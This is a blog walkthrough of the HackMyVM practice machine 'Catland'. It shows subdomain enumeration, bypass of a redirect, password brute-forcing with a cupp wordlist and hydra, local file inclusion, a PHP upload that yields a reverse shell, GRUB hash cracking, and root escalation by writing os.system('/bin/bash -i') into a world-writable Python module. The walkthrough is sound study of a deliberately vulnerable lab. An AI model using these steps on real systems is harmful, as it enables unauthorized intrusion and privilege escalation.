catland walkthrough writeup hackmyvm security

Catland walkthrough from HackMyVM – Writeup

HackMyVM has added a new medium-difficulty machine “Catland” by cromiphi. This machine features subdomain enumeration, local file inclusion, insecure file permissions and sudo abuse. However, for the domain name, you need to take the help of the VM box. “Catland walkthrough from HackMyVM – Writeup”

Click here to go to the download page of Catland

Target scan

Firstly, we need to identify the IP address of the target machine.

❯ fping -aqg

The IP address of the machine is

However, we can look into the machine’s login screen for the domain name and the IP address.

IP address and the domain name

We got the domain name to be catland.hmv.

Nmap scan

The following stuff is to scan the target for any open ports.

❯ nmap -sC -sV -p- -oN nmap.log
Starting Nmap 7.93 ( ) at 2023-01-12 13:14 +0545
Nmap scan report for
Host is up (0.0026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c71014a89af0251e0db1c66f1ca188d8 (RSA)
|   256 1b66f4e5b6236e778e9ec178c5bcace9 (ECDSA)
|_  256 f4e9d87a0815d0929014dfb3ec81a1ed (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Catland
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here, we only have an HTTP port to investigate.

HTTP Server

On the main server, we have some text and a link to go to a gallery of cats’ images. Furthermore, we also see a possible username laura in one of the images. Other than this, there is no hint. Afterwards, I performed directory scanning and query parameters fuzzing to find any remote command execution or file inclusion. However, I got nothing.

Thus, I performed subdomain enumeration.

❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.catland.hmv' -u '' -fs 757

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.catland.hmv
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 757

admin                   [Status: 200, Size: 1068, Words: 103, Lines: 24, Duration: 1174ms]

Here, we have a subdomain admin.catland.hmv and I added it on my /etc/hosts file.

Prevent redirection

When we open the admin site, we are redirected to the main site. This is because of a javascript script redirect.js. So, we have to block the request to the javascript file from the developer tool of the browser. Also, to make this work the tool must be open all the time.

The following is the content of the site from curl.

❯ curl -i http://admin.catland.hmv/
HTTP/1.1 200 OK
Date: Fri, 13 Jan 2023 16:13:09 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=rqkeoghc9jgis99tf0nasu74vt; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1068
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
  <meta charset="utf-8">
  <title>Admin panel</title>
<script src="redirect.js"></script>
<body style="background-color: #003366; color: white; font-family: sans-serif;">
  <h1 style="text-align: center;">Staff connection</h1>
  <form id="login-form" action="" method="post" style="max-width: 500px; margin: auto;">
    <label for="username" style="display: block;">Login:</label>
    <input type="text" id="username" name="username" style="width: 100%; padding: 10px; box-sizing: border-box; margin-bottom: 20px;">
    <label for="password" style="display: block;">Password:</label>
    <input type="password" id="password" name="password" style="width: 100%; padding: 10px; box-sizing: border-box; margin-bottom: 20px;">
    <button type="submit" style="width: 100%; padding: 10px; background-color: #0099cc; color: white; font-size: 16px; cursor: pointer;">Connect</button>
  <div id="error-message" style="color: red;"></div>

Invalid username or password

The function redirectToSubdomain(); looks as follows.

❯ curl http://admin.catland.hmv/redirect.js
function redirectToSubdomain() {

The following screenshot shows the way to perform request blocking in Firefox.

Developer tools of Firefox

Now, when we open the admin link, it blocks the javascript resource. Thus, the function never gets defined and calling the function doesn’t work either.

Login to the site

Anyways, we see a login screen on the site. Also, we have got the username as laura. Therefore, I tried bruteforcing using hydra, yet failed with rockyou.txt.

So, I created a wordlist using a binary called cupp.

❯ cupp -i
 ___________!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | ]
                            [ Mebus |]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: laura
> Surname: 
> Nickname: 
> Birthdate (DDMMYYYY): 

> Partners) name: 
> Partners) nickname: 
> Partners) birthdate (DDMMYYYY): 

> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 

> Pet's name: 
> Company name: 

> Do you want to add some key words about the victim? Y/[N]: 
> Do you want to add special chars at the end of words? Y/[N]: 
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]: 

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to laura.txt, counting 108 words.
[+] Now load your pistolero with laura.txt and shoot! Good luck!

At last, I was able to find the password.

❯ hydra -l laura -P laura.txt 'http-post-form://admin.catland.hmv/index.php:username=^USER^&password=^PASS^:Invalid'
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2023-01-13 22:04:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:1/p:108), ~7 tries per task
[DATA] attacking http-post-form://admin.catland.hmv:80/index.php:username=^USER^&password=^PASS^:Invalid
[80][http-post-form] host: admin.catland.hmv   login: laura   password: <redacted>
1 of 1 target successfully completed, 1 valid password found

The dashboard showed a possibility of a local file inclusion (LFI).

The page parameter can allow file inclusion

Let’s confirm this by including /etc/passwd.

Confirmation of LFI

Exploit file inclusion with file upload

We see an upload feature in the “Accountancy” link in the navigation bar. Here, it asked us to upload an archive. To confirm the extension, we can either look into the source code or try a random extension. So, I copied my shell.php to After uploading the file, we can access this from /uploads.


This gives us a reverse shell.

❯ nc -nlvp 9001
Ncat: Version 7.93 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Linux catland.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
 17:28:24 up  9:16,  1 user,  load average: 0.00, 0.03, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
laura    pts/1         16:34   34:54   1:13   1:12  ./pspy64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Click here to see the way to upgrade to an intelligent shell.

Get the Linux user’s password

After checking some files, I got MySQL credentials from /var/www/admin/config.php. There is a table in the database that hints to us to get to the grub password.

www-data@catland:/$ mysql -uadmin -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2405953
Server version: 10.5.18-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
| Database           |
| catland            |
| information_schema |
2 rows in set (0.002 sec)

MariaDB [(none)]> use catland
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [catland]> show tables;
| Tables_in_catland |
| comment           |
| users             |
2 rows in set (0.000 sec)

MariaDB [catland]> select * from comment;
| grub                 |
| change grub password |
1 row in set (0.000 sec)

The grub password is inside /boot/grub/grub.cfg.

www-data@catland:/$ grep password /boot/grub/grub.cfg 
### BEGIN /etc/grub.d/01_password ###
password_pbkdf2 root grub.pbkdf2.sha512.10000.CAEBC99F7ABA2AC4E57F<redacted>
### END /etc/grub.d/01_password ###

Luckily, both John the Ripper and Hashcat support this hash.

❯ john hash --wordlist=/home/kali/rockyou.txt
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
❯ john hash --show

1 password hash cracked, 0 left

We can use this password to ssh into the machine.

❯ ssh laura@
laura@'s password: 
Linux catland.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 13 16:55:26 2023 from

Root shell

There is a sudo permission on the user.

laura@catland:~$ sudo -l
Matching Defaults entries for laura on catland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User laura may run the following commands on catland:
    (ALL : ALL) NOPASSWD: /usr/bin/rtv --help

The binary rtv is in fact a python script with the following lines of code.

laura@catland:~$ cat /usr/bin/rtv
# EASY-INSTALL-ENTRY-SCRIPT: 'rtv==1.27.0','console_scripts','rtv'
import re
import sys

# for compatibility with easy_install; see #2198
__requires__ = 'rtv==1.27.0'

    from importlib.metadata import distribution
except ImportError:
        from importlib_metadata import distribution
    except ImportError:
        from pkg_resources import load_entry_point

def importlib_load_entry_point(spec, group, name):
    dist_name, _, _ = spec.partition('==')
    matches = (
        for entry_point in distribution(dist_name).entry_points
        if == group and == name
    return next(matches).load()

globals().setdefault('load_entry_point', importlib_load_entry_point)

if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
    sys.exit(load_entry_point('rtv==1.27.0', 'console_scripts', 'rtv')())

It imports from a file importlib/ Furthermore, it has permission to write.

laura@catland:~$ ls -l /lib/python3.9/importlib/ 
-rw-r--rw- 1 root root 18237 Jan 13 17:06 /lib/python3.9/importlib/

Let’s add the following lines of code to spawn the bash.

os.system('/bin/bash -i')

This gives us the root shell.

laura@catland:~$ sudo rtv --help
root@catland:/home/laura# cd
root@catland:~# echo; md5sum /etc/shadow
df9695b17f4b2ee816f5439ef030a8ae  /etc/shadow

The notes for this machine can be found in this link.

Check my other writeups from here.

0 0 votes
Article Rating
Notify of
Inline Feedbacks
View all comments